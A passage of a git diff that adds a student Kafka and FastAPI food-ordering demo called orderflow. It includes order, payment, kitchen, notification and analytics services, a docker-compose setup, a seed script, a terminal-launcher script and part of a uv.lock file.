69425, upload-time = "2026-04-06T09:23:21.524Z" }, +] diff --git a/Semaine_08/orderflow/.python-version b/Semaine_08/orderflow/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_08/orderflow/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_08/orderflow/README.md b/Semaine_08/orderflow/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_08/orderflow/analytics_service/consumer.py b/Semaine_08/orderflow/analytics_service/consumer.py new file mode 100644 index 0000000..822605d --- /dev/null +++ b/Semaine_08/orderflow/analytics_service/consumer.py @@ -0,0 +1,53 @@ +import sys, os, json +from collections import defaultdict + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from kafka import KafkaConsumer +from shared.events import BOOTSTRAP_SERVERS, TOPIC_ORDERS, TOPIC_PAYMENTS, TOPIC_NOTIFICATIONS + +TOPIC_ORDERS_DLQ = "orders_dlq" + +stats = defaultdict(int) + +def run(): + consumer = KafkaConsumer( + TOPIC_ORDERS, + TOPIC_ORDERS_DLQ, + TOPIC_PAYMENTS, + bootstrap_servers=BOOTSTRAP_SERVERS, + group_id="analytics_service", + auto_offset_reset="earliest", + value_deserializer=lambda v: json.loads(v.decode("utf-8")) + ) + + print("[ANALYTICS SERVICE] Service d'analyse démarré, en attente d'évènements...") + + for message in consumer: + event = message.value + event_type = event["type"] + payload = event["payload"] + + stats[event_type] += 1 + + if event_type == "order_created": + order_id = payload["order_id"] + total = payload["total_amount"] + print(f"[ANALYTICS SERVICE] Nouvelle commande {order_id} - total {total}€ " + f"| commandes reçues : {stats['order_created']}") + + elif event_type == "payment.confirmed": + stats["revenue"] = stats.get("revenue", 0) + payload["amount"] + print(f"[ANALYTICS SERVICE] Paiement confirmé - commande {payload['order_id']}, " + f"{payload['amount']}€ | CA total : {stats['revenue']}€") + + elif event_type == "payment.failed": + print(f"[ANALYTICS SERVICE] Paiement échoué - commande {payload['order_id']} " + f"| échecs : {stats['payment.failed']}") + + elif event_type == "order.preparation_started": + print(f"[ANALYTICS SERVICE] Préparation démarrée - commande {payload['order_id']} " + f"| en préparation : {stats['order.preparation_started']}") + +if __name__ == "__main__": + run() \ No newline at end of file diff --git a/Semaine_08/orderflow/docker-compose.yml b/Semaine_08/orderflow/docker-compose.yml new file mode 100644 index 0000000..e120176 --- /dev/null +++ b/Semaine_08/orderflow/docker-compose.yml @@ -0,0 +1,44 @@ +services: + kafka: + image: confluentinc/cp-kafka:7.5.0 + container_name: commandflow-kafka + hostname: kafka + ports: + - "9092:9092" + environment: + KAFKA_NODE_ID: 1 + KAFKA_PROCESS_ROLES: broker,controller + KAFKA_CONTROLLER_QUORUM_VOTERS: 1@kafka:29093 + # Deux listeners : + # PLAINTEXT → pour les containers Docker entre eux (kafka:29092) + # PLAINTEXT_HOST → pour les services Python sur la machine hôte (localhost:9092) + KAFKA_LISTENERS: PLAINTEXT://kafka:29092,PLAINTEXT_HOST://0.0.0.0:9092,CONTROLLER://kafka:29093 + KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:29092,PLAINTEXT_HOST://localhost:9092 + KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT,CONTROLLER:PLAINTEXT + KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT + KAFKA_CONTROLLER_LISTENER_NAMES: CONTROLLER + KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1 + KAFKA_TRANSACTION_STATE_LOG_REPLICATION_FACTOR: 1 + KAFKA_TRANSACTION_STATE_LOG_MIN_ISR: 1 + KAFKA_GROUP_INITIAL_REBALANCE_DELAY_MS: 0 + CLUSTER_ID: MkU3OEVBNTcwNTJENDM2Qk + healthcheck: + # Vérifie que Kafka accepte des connexions avant de laisser kafdrop démarrer + test: ["CMD", "kafka-topics", "--bootstrap-server", "localhost:9092", "--list"] + interval: 10s + timeout: 10s + retries: 10 + start_period: 20s + + kafdrop: + image: obsidiandynamics/kafdrop:latest + container_name: commandflow-kafdrop + hostname: kafdrop # évite un bug DNS du container + ports: + - "9000:9000" + environment: + KAFKA_BROKERCONNECT: "kafka:29092" + depends_on: + kafka: + condition: service_healthy # attend que Kafka soit vraiment prêt + restart: on-failure \ No newline at end of file diff --git a/Semaine_08/orderflow/kitchen_service/consumer.py b/Semaine_08/orderflow/kitchen_service/consumer.py new file mode 100644 index 0000000..4ca4dd3 --- /dev/null +++ b/Semaine_08/orderflow/kitchen_service/consumer.py @@ -0,0 +1,54 @@ +import sys, os, json + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from kafka import KafkaConsumer, KafkaProducer +from shared.events import BOOTSTRAP_SERVERS, TOPIC_PAYMENTS, TOPIC_NOTIFICATIONS, make_event + +def run(): + consumer = KafkaConsumer( + TOPIC_PAYMENTS, + bootstrap_servers=BOOTSTRAP_SERVERS, + group_id="kitchen_service", + auto_offset_reset="latest", + value_deserializer=lambda v: json.loads(v.decode("utf-8")) + ) + + producer = KafkaProducer( + bootstrap_servers=BOOTSTRAP_SERVERS, + key_serializer=str.encode, + value_serializer=lambda v: json.dumps(v).encode(), + acks="all" + ) + + print("[KITCHEN SERVICE] Service de cuisine démarré, en attente d'évènements...") + + for message in consumer: + event = message.value + + if event["type"] != "payment.confirmed": + continue + + payload = event["payload"] + order_id = payload["order_id"] + restaurant_id = payload["restaurant_id"] + + print(f"[KITCHEN SERVICE] Paiement confirmé - démarrage de la préparation de la commande {order_id}") + + result = make_event("order.preparation_started", { + "order_id": order_id, + "customer_id": payload["customer_id"], + "restaurant_id": restaurant_id + }) + + producer.send( + topic=TOPIC_NOTIFICATIONS, + key=str(restaurant_id), + value=result + ) + producer.flush() + + print(f"[KITCHEN SERVICE] Préparation de la commande {order_id} commencée") + +if __name__ == "__main__": + run() \ No newline at end of file diff --git a/Semaine_08/orderflow/main.py b/Semaine_08/orderflow/main.py new file mode 100644 index 0000000..2a31237 --- /dev/null +++ b/Semaine_08/orderflow/main.py @@ -0,0 +1,6 @@ +def main(): + print("Hello from orderflow!") + + +if __name__ == "__main__": + main() diff --git a/Semaine_08/orderflow/notif_service/consumer.py b/Semaine_08/orderflow/notif_service/consumer.py new file mode 100644 index 0000000..500f108 --- /dev/null +++ b/Semaine_08/orderflow/notif_service/consumer.py @@ -0,0 +1,39 @@ +import sys, os, json + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from kafka import KafkaConsumer +from shared.events import BOOTSTRAP_SERVERS, TOPIC_ORDERS, TOPIC_PAYMENTS, TOPIC_NOTIFICATIONS + +def run(): + consumer = KafkaConsumer( + TOPIC_PAYMENTS, + TOPIC_ORDERS, + bootstrap_servers=BOOTSTRAP_SERVERS, + group_id="notif_service", + auto_offset_reset="latest", + value_deserializer=lambda v: json.loads(v.decode("utf-8")) + ) + + print("[NOTIFICATION SERVICE] Service de notification démarré, en attente d'évènements...") + + for message in consumer: + event = message.value + event_type = event["type"] + payload = event["payload"] + order_id = payload["order_id"] + + if event_type == "payment.confirmed": + print(f"[NOTIFICATION SERVICE] 🎉 Paiement confirmé pour la commande {order_id} " + f"(client {payload['customer_id']}, montant {payload['amount']}€)") + + elif event_type == "payment.failed": + print(f"[NOTIFICATION SERVICE] ❌ Paiement échoué pour la commande {order_id} " + f"(client {payload['customer_id']}, montant {payload['amount']}€)") + + elif event_type == "order.preparation_started": + print(f"[NOTIFICATION SERVICE] 🍳 Préparation commencée pour la commande {order_id} " + f"(restaurant {payload['restaurant_id']})") + +if __name__ == "__main__": + run() \ No newline at end of file diff --git a/Semaine_08/orderflow/order_service/main.py b/Semaine_08/orderflow/order_service/main.py new file mode 100644 index 0000000..447c9d0 --- /dev/null +++ b/Semaine_08/orderflow/order_service/main.py @@ -0,0 +1,40 @@ +import sys, os +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from uuid import uuid4 +from fastapi import FastAPI + +from fastapi.responses import JSONResponse +from pydantic import BaseModel +from producer import OrderProducer + +app = FastAPI() +producer = OrderProducer() +orders_db: list[dict] = [] + +class OrderItem(BaseModel): + dish_id: int + name: str + price: float + +class CreateOrderDto(BaseModel): + customer_id: int + restaurant_id: int + items: list[OrderItem] + +@app.post("/orders") +async def place_order(payload: CreateOrderDto): + order = { + "order_id": uuid4().hex, + "customer_id": payload.customer_id, + "restaurant_id": payload.restaurant_id, + "items": [ item.model_dump() for item in payload.items ], + "total_amount": sum([ item.price for item in payload.items ]) + } + + producer.publish_order_created(order) + + return JSONResponse( + status_code= 202, + content= {"message": "Commande acceptee", "order_id": order["order_id"]} + ) \ No newline at end of file diff --git a/Semaine_08/orderflow/order_service/producer.py b/Semaine_08/orderflow/order_service/producer.py new file mode 100644 index 0000000..7211771 --- /dev/null +++ b/Semaine_08/orderflow/order_service/producer.py @@ -0,0 +1,26 @@ +import json + +from kafka import KafkaProducer +from shared.events import BOOTSTRAP_SERVERS, make_event, TOPIC_ORDERS + +class OrderProducer: + def __init__(self): + self.producer = KafkaProducer( + bootstrap_servers=BOOTSTRAP_SERVERS, + key_serializer= str.encode, # convertir en bytes "3" -> b"3" + value_serializer=lambda v: json.dumps(v).encode(), + acks= "all" + ) + + def publish_order_created(self, order: dict): + event = make_event( + "order_created", + order + ) + + self.producer.send( + TOPIC_ORDERS, + value=event + ) + + self.producer.flush() diff --git a/Semaine_08/orderflow/payment_service/consumer.py b/Semaine_08/orderflow/payment_service/consumer.py new file mode 100644 index 0000000..36aeddc --- /dev/null +++ b/Semaine_08/orderflow/payment_service/consumer.py @@ -0,0 +1,67 @@ +import sys, os, random, json + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from kafka import KafkaConsumer, KafkaProducer +from shared.events import BOOTSTRAP_SERVERS, TOPIC_ORDERS, TOPIC_PAYMENTS, make_event + +def simulate_payment(amount: float) -> bool: + return random.random() > 0.1 + +def run(): + consumer = KafkaConsumer( + TOPIC_ORDERS, + bootstrap_servers=BOOTSTRAP_SERVERS, + group_id="payment_service", + auto_offset_reset="latest", + value_deserializer=lambda v: json.loads(v.decode("utf-8")) + ) + + producer = KafkaProducer( + bootstrap_servers=BOOTSTRAP_SERVERS, + key_serializer=str.encode, + value_serializer=lambda v: json.dumps(v).encode(), + acks="all" + ) + + print("[PAYMENT SERVICE] Service de paiement démarré, en attente d'évènements...") + + for message in consumer: + event = message.value + + if event["type"] != "order_created": + continue + + payload = event["payload"] + order_id = payload["order_id"] + restaurant_id = payload["restaurant_id"] + amount = payload["total_amount"] + + print(f"[PAYMENT SERVICE] Traitement en cours : commande {order_id}, total {amount}€") + + if simulate_payment(amount): + result = make_event("payment.confirmed", { + "order_id": order_id, + "customer_id": payload["customer_id"], + "restaurant_id": restaurant_id, + "amount": amount + }) + print(f"[PAYMENT SERVICE] Paiement confirmé pour la commande {order_id}") + else: + result = make_event("payment.failed", { + "order_id": order_id, + "customer_id": payload["customer_id"], + "restaurant_id": restaurant_id, + "amount": amount + }) + print(f"[PAYMENT SERVICE] Paiement échoué pour la commande {order_id}") + + producer.send( + topic=TOPIC_PAYMENTS, + key=str(restaurant_id), + value=result + ) + producer.flush() + +if __name__ == "__main__": + run() \ No newline at end of file diff --git a/Semaine_08/orderflow/pyproject.toml b/Semaine_08/orderflow/pyproject.toml new file mode 100644 index 0000000..3d8382d --- /dev/null +++ b/Semaine_08/orderflow/pyproject.toml @@ -0,0 +1,10 @@ +[project] +name = "orderflow" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "fastapi[standard]>=0.135.3", + "kafka-python>=2.0.0", +] diff --git a/Semaine_08/orderflow/request.http b/Semaine_08/orderflow/request.http new file mode 100644 index 0000000..2a16bf2 --- /dev/null +++ b/Semaine_08/orderflow/request.http @@ -0,0 +1,11 @@ +POST http://localhost:9000/orders +Content-Type: application/json + +{ + "customer_id": 7, + "restaurant_id": 3, + "items": [ + {"dish_id": 12, "name": "Pizza Margherita", "price": 11.50}, + {"dish_id": 8, "name": "Tiramisu", "price": 5.00} + ], +} \ No newline at end of file diff --git a/Semaine_08/orderflow/seed.py b/Semaine_08/orderflow/seed.py new file mode 100644 index 0000000..862ea59 --- /dev/null +++ b/Semaine_08/orderflow/seed.py @@ -0,0 +1,168 @@ +""" +seed.py — Envoie une série de commandes CommandFlow pour observer le flux complet. + +Usage : + uv run python seed.py # envoie 10 commandes normales + uv run python seed.py --all # inclut des commandes avec montant invalide (DLQ) + uv run python seed.py --count 5 # envoie 5 commandes + +Ce script publie directement sur Kafka (sans passer par l'API FastAPI). +Il utilise OrderProducer, le même producer qu'order-service. + +Pour observer le flux : + 1. Lancer Kafka : docker compose up -d + 2. Lancer les consumers dans des terminaux séparés + 3. Lancer ce script + 4. Observer les logs de chaque consumer + 5. Ouvrir Kafdrop sur http://localhost:9000 pour voir les topics +""" +import sys +import os +import time +import argparse +import random + +# Ajoute les dossiers nécessaires au path +BASE_DIR = os.path.dirname(os.path.abspath(__file__)) +sys.path.insert(0, BASE_DIR) +sys.path.insert(0, os.path.join(BASE_DIR, "order_service")) + +# order-service contient un tiret → on ne peut pas faire "import order-service.producer" +# On ajoute le dossier au path et on importe directement producer.py +import importlib.util as _ilu + +_spec = _ilu.spec_from_file_location( + "order_producer", + os.path.join(BASE_DIR, "order_service", "producer.py"), +) +_mod = _ilu.module_from_spec(_spec) +_spec.loader.exec_module(_mod) +OrderProducer = _mod.OrderProducer + + +# --------------------------------------------------------------------------- +# Données de test +# --------------------------------------------------------------------------- + +RESTAURANTS = [ + {"id": 1, "name": "Pizza Roma"}, + {"id": 2, "name": "Sushi Zen"}, + {"id": 3, "name": "Burger Lab"}, +] + +MENUS = { + 1: [ # Pizza Roma + {"dish_id": 101, "name": "Margherita", "price": 12.50}, + {"dish_id": 102, "name": "Quattro Stagioni", "price": 14.00}, + {"dish_id": 103, "name": "Tiramisu", "price": 5.50}, + {"dish_id": 104, "name": "Coca-Cola", "price": 3.00}, + ], + 2: [ # Sushi Zen + {"dish_id": 201, "name": "California Roll x8", "price": 11.00}, + {"dish_id": 202, "name": "Saumon Tataki", "price": 13.50}, + {"dish_id": 203, "name": "Edamame", "price": 4.50}, + {"dish_id": 204, "name": "Thé vert", "price": 2.50}, + ], + 3: [ # Burger Lab + {"dish_id": 301, "name": "Classic Smash", "price": 10.00}, + {"dish_id": 302, "name": "Double Bacon", "price": 13.00}, + {"dish_id": 303, "name": "Frites maison", "price": 4.00}, + {"dish_id": 304, "name": "Milkshake", "price": 5.00}, + ], +} + + +def random_order(customer_id: int, order_id: int) -> dict: + """Génère une commande aléatoire réaliste.""" + restaurant = random.choice(RESTAURANTS) + menu = MENUS[restaurant["id"]] + + # 1 à 3 plats aléatoires du menu + items = random.sample(menu, k=random.randint(1, 3)) + total = round(sum(item["price"] for item in items), 2) + + return { + "order_id": order_id, + "customer_id": customer_id, + "restaurant_id": restaurant["id"], + "items": items, + "total_amount": total, + } + + +def invalid_order(customer_id: int, order_id: int) -> dict: + """Génère une commande avec un montant invalide pour déclencher la DLQ.""" + return { + "order_id": order_id, + "customer_id": customer_id, + "restaurant_id": 1, + "items": [{"dish_id": 999, "name": "Plat inexistant", "price": -5.00}], + "total_amount": -5.00, # ← invalide : payment-service lèvera une ValueError + } + + +# --------------------------------------------------------------------------- +# Script principal +# --------------------------------------------------------------------------- + +def main(): + parser = argparse.ArgumentParser(description="Seed CommandFlow avec des commandes de test.") + parser.add_argument("--count", type=int, default=10, help="Nombre de commandes à envoyer (défaut : 10)") + parser.add_argument("--all", action="store_true", help="Inclut 2 commandes invalides (pour tester la DLQ)") + parser.add_argument("--delay", type=float, default=0.5, help="Délai entre chaque message en secondes (défaut : 0.5)") + args = parser.parse_args() + + producer = OrderProducer() + + print("=" * 60) + print(" CommandFlow — seed") + print("=" * 60) + print(f" Commandes à envoyer : {args.count}") + print(f" Délai entre messages : {args.delay}s") + print(f" Commandes invalides : {'oui (DLQ)' if args.all else 'non'}") + print("=" * 60) + print() + + orders = [] + + # Génère les commandes normales + for i in range(1, args.count + 1): + customer_id = random.randint(1, 50) + orders.append(("normal", random_order(customer_id, order_id=i))) + + # Insère 2 commandes invalides si --all + if args.all: + bad_id_1 = args.count + 1 + bad_id_2 = args.count + 2 + orders.insert(len(orders) // 3, ("invalid", invalid_order(99, bad_id_1))) + orders.insert(2 * len(orders) // 3, ("invalid", invalid_order(99, bad_id_2))) + + # Envoi + sent = 0 + for kind, order in orders: + tag = "⚠ INVALIDE" if kind == "invalid" else "✓" + print( + f"[seed] {tag} order_id={order['order_id']:>3} " + f"| customer={order['customer_id']:>2} " + f"| resto_id={order['restaurant_id']} " + f"| total={order['total_amount']:>6.2f}€ " + f"| items={len(order['items'])}" + ) + producer.publish_order_created(order) + sent += 1 + time.sleep(args.delay) + + print() + print("=" * 60) + print(f" {sent} messages publiés sur le topic 'orders'.") + print() + print(" Pour observer le flux :") + print(" → Kafdrop : http://localhost:9000") + print(" → Topics : orders, payments, notifications") + if args.all: + print(" → DLQ : orders-dlq (2 messages attendus)") + print("=" * 60) + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/Semaine_08/orderflow/shared/events.py b/Semaine_08/orderflow/shared/events.py new file mode 100644 index 0000000..2b7cb1b --- /dev/null +++ b/Semaine_08/orderflow/shared/events.py @@ -0,0 +1,17 @@ +from datetime import datetime, timezone +from uuid import uuid4 +import os + +TOPIC_ORDERS= "orders" +TOPIC_PAYMENTS= "payments" +TOPIC_NOTIFICATIONS= "notifications" + +BOOTSTRAP_SERVERS= os.getenv("BOOTSTRAP_SERVERS", "localhost:9092") + +def make_event(event_type: str, payload: dict) -> dict: + return { + "id": str(uuid4()), + "type": event_type, + "timestamp": datetime.now(timezone.utc).isoformat(), + "payload": payload + } \ No newline at end of file diff --git a/Semaine_08/orderflow/start_consumer.py b/Semaine_08/orderflow/start_consumer.py new file mode 100644 index 0000000..a54f239 --- /dev/null +++ b/Semaine_08/orderflow/start_consumer.py @@ -0,0 +1,89 @@ +""" +start_consumers.py — Lance les 3 consumers CommandFlow dans des fenêtres séparées. + +Fonctionne sur Windows, macOS et Linux sans dépendance externe. + +Usage : + uv run python start_consumers.py +""" +import subprocess +import sys +import os +import platform + +BASE_DIR = os.path.dirname(os.path.abspath(__file__)) + +CONSUMERS = [ + ("payment_service", "payment_service/consumer.py"), + ("kitchen_service", "kitchen_service/consumer.py"), + ("notif_service", "notif_service/consumer.py"), + ("analytics_service", "analytics_service/consumer.py"), +] + + +def open_in_new_terminal(title: str, script_path: str) -> None: + """Ouvre le script dans une nouvelle fenêtre de terminal, selon l'OS.""" + uv = "uv" + cmd = f"uv run python {script_path}" + system = platform.system() + + if system == "Windows": + # start /WAIT ouvre une nouvelle fenêtre cmd et la garde ouverte + subprocess.Popen( + ["cmd", "/c", "start", f'"{title}"', "cmd", "/k", cmd], + cwd=BASE_DIR, + shell=False, + ) + + elif system == "Darwin": # macOS + # osascript pilote Terminal.app + apple_script = ( + f'tell application "Terminal" to activate\n' + f'tell application "Terminal" to do script ' + f'"cd \\"{BASE_DIR}\\" && echo \'=== {title} ===' + "'" + + f' && {cmd}"' + ) + subprocess.Popen(["osascript", "-e", apple_script]) + + else: # Linux + # Essaie gnome-terminal, puis xterm en fallback + if _cmd_exists("gnome-terminal"): + subprocess.Popen( + ["gnome-terminal", f"--title={title}", "--", + "bash", "-c", f"cd '{BASE_DIR}' && {cmd}; exec bash"], + ) + elif _cmd_exists("xterm"): + subprocess.Popen( + ["xterm", "-title", title, "-e", + f"cd '{BASE_DIR}' && {cmd}; exec bash"], + ) + else: + print(f" ⚠ Impossible d'ouvrir un terminal pour {title}.") + print(f" Lance manuellement : {cmd}") + + +def _cmd_exists(name: str) -> bool: + import shutil + return shutil.which(name) is not None + + +def main(): + print() + print("╔══════════════════════════════════════╗") + print("║ CommandFlow — démarrage consumers ║") + print(f"║ OS détecté : {platform.system():<23}║") + print("╚══════════════════════════════════════╝") + print() + + for title, script in CONSUMERS: + open_in_new_terminal(title, script) + print(f" ✓ {title}") + + print() + print(" Consumers actifs. Lance le seed :") + print(" uv run python seed.py --delay 1.5") + print() + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/Semaine_08/orderflow/test.py b/Semaine_08/orderflow/test.py new file mode 100644 index 0000000..19e4bf8 --- /dev/null +++ b/Semaine_08/orderflow/test.py @@ -0,0 +1,6 @@ +""" +Broker: intermédiaire +- recevoir +- stocker (définir un délai) +- distribuer +""" \ No newline at end of file diff --git a/Semaine_08/orderflow/uv.lock b/Semaine_08/orderflow/uv.lock new file mode 100644 index 0000000..7d6d012 --- /dev/null +++ b/Semaine_08/orderflow/uv.lock @@ -0,0 +1,966 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" +resolution-markers = [ + "python_full_version >= '3.14'", + "python_full_version == '3.13.*'", + "python_full_version < '3.13'", +] + +[[package]] +name = "annotated-doc" +version = "0.0.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/57/ba/046ceea27344560984e26a590f90bc7f4a75b06701f653222458922b558c/annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4", size = 7288, upload-time = "2025-11-10T22:07:42.062Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/d3/26bf1008eb3d2daa8ef4cacc7f3bfdc11818d111f7e2d0201bc6e3b49d45/annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320", size = 5303, upload-time = "2025-11-10T22:07:40.673Z" }, +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "anyio" +version = "4.13.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/19/14/2c5dd9f512b66549ae92767a9c7b330ae88e1932ca57876909410251fe13/anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc", size = 231622, upload-time = "2026-03-24T12:59:09.671Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", size = 114353, upload-time = "2026-03-24T12:59:08.246Z" }, +] + +[[package]] +name = "certifi" +version = "2026.2.25" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/af/2d/7bf41579a8986e348fa033a31cdd0e4121114f6bce2457e8876010b092dd/certifi-2026.2.25.tar.gz", hash = "sha256:e887ab5cee78ea814d3472169153c2d12cd43b14bd03329a39a9c6e2e80bfba7", size = 155029, upload-time = "2026-02-25T02:54:17.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9a/3c/c17fb3ca2d9c3acff52e30b309f538586f9f5b9c9cf454f3845fc9af4881/certifi-2026.2.25-py3-none-any.whl", hash = "sha256:027692e4402ad994f1c42e52a4997a9763c646b73e4096e4d5d6db8af1d6f0fa", size = 153684, upload-time = "2026-02-25T02:54:15.766Z" }, +] + +[[package]] +name = "click" +version = "8.3.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/57/75/31212c6bf2503fdf920d87fee5d7a86a2e3bcf444984126f13d8e4016804/click-8.3.2.tar.gz", hash = "sha256:14162b8b3b3550a7d479eafa77dfd3c38d9dc8951f6f69c78913a8f9a7540fd5", size = 302856, upload-time = "2026-04-03T19:14:45.118Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e4/20/71885d8b97d4f3dde17b1fdb92dbd4908b00541c5a3379787137285f602e/click-8.3.2-py3-none-any.whl", hash = "sha256:1924d2c27c5653561cd2cae4548d1406039cb79b858b747cfea24924bbc1616d", size = 108379, upload-time = "2026-04-03T19:14:43.505Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "dnspython" +version = "2.8.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8c/8b/57666417c0f90f08bcafa776861060426765fdb422eb10212086fb811d26/dnspython-2.8.0.tar.gz", hash = "sha256:181d3c6996452cb1189c4046c61599b84a5a86e099562ffde77d26984ff26d0f", size = 368251, upload-time = "2025-09-07T18:58:00.022Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ba/5a/18ad964b0086c6e62e2e7500f7edc89e3faa45033c71c1893d34eed2b2de/dnspython-2.8.0-py3-none-any.whl", hash = "sha256:01d9bbc4a2d76bf0db7c1f729812ded6d912bd318d3b1cf81d30c0f845dbf3af", size = 331094, upload-time = "2025-09-07T18:57:58.071Z" }, +] + +[[package]] +name = "email-validator" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "dnspython" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f5/22/900cb125c76b7aaa450ce02fd727f452243f2e91a61af068b40adba60ea9/email_validator-2.3.0.tar.gz", hash = "sha256:9fc05c37f2f6cf439ff414f8fc46d917929974a82244c20eb10231ba60c54426", size = 51238, upload-time = "2025-08-26T13:09:06.831Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/de/15/545e2b6cf2e3be84bc1ed85613edd75b8aea69807a71c26f4ca6a9258e82/email_validator-2.3.0-py3-none-any.whl", hash = "sha256:80f13f623413e6b197ae73bb10bf4eb0908faf509ad8362c5edeb0be7fd450b4", size = 35604, upload-time = "2025-08-26T13:09:05.858Z" }, +] + +[[package]] +name = "fastapi" +version = "0.135.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-doc" }, + { name = "pydantic" }, + { name = "starlette" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f7/e6/7adb4c5fa231e82c35b8f5741a9f2d055f520c29af5546fd70d3e8e1cd2e/fastapi-0.135.3.tar.gz", hash = "sha256:bd6d7caf1a2bdd8d676843cdcd2287729572a1ef524fc4d65c17ae002a1be654", size = 396524, upload-time = "2026-04-01T16:23:58.188Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/84/a4/5caa2de7f917a04ada20018eccf60d6cc6145b0199d55ca3711b0fc08312/fastapi-0.135.3-py3-none-any.whl", hash = "sha256:9b0f590c813acd13d0ab43dd8494138eb58e484bfac405db1f3187cfc5810d98", size = 117734, upload-time = "2026-04-01T16:23:59.328Z" }, +] + +[package.optional-dependencies] +standard = [ + { name = "email-validator" }, + { name = "fastapi-cli", extra = ["standard"] }, + { name = "httpx" }, + { name = "jinja2" }, + { name = "pydantic-extra-types" }, + { name = "pydantic-settings" }, + { name = "python-multipart" }, + { name = "uvicorn", extra = ["standard"] }, +] + +[[package]] +name = "fastapi-cli" +version = "0.0.24" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "rich-toolkit" }, + { name = "typer" }, + { name = "uvicorn", extra = ["standard"] }, +] +sdist = { url = "https://files.pythonhosted.org/packages/6e/58/74797ae9e4610cfa0c6b34c8309096d3b20bb29be3b8b5fbf1004d10fa5f/fastapi_cli-0.0.24.tar.gz", hash = "sha256:1afc9c9e21d7ebc8a3ca5e31790cd8d837742be7e4f8b9236e99cb3451f0de00", size = 19043, upload-time = "2026-02-24T10:45:10.476Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/4b/68f9fe268e535d79c76910519530026a4f994ce07189ac0dded45c6af825/fastapi_cli-0.0.24-py3-none-any.whl", hash = "sha256:4a1f78ed798f106b4fee85ca93b85d8fe33c0a3570f775964d37edb80b8f0edc", size = 12304, upload-time = "2026-02-24T10:45:09.552Z" }, +] + +[package.optional-dependencies] +standard = [ + { name = 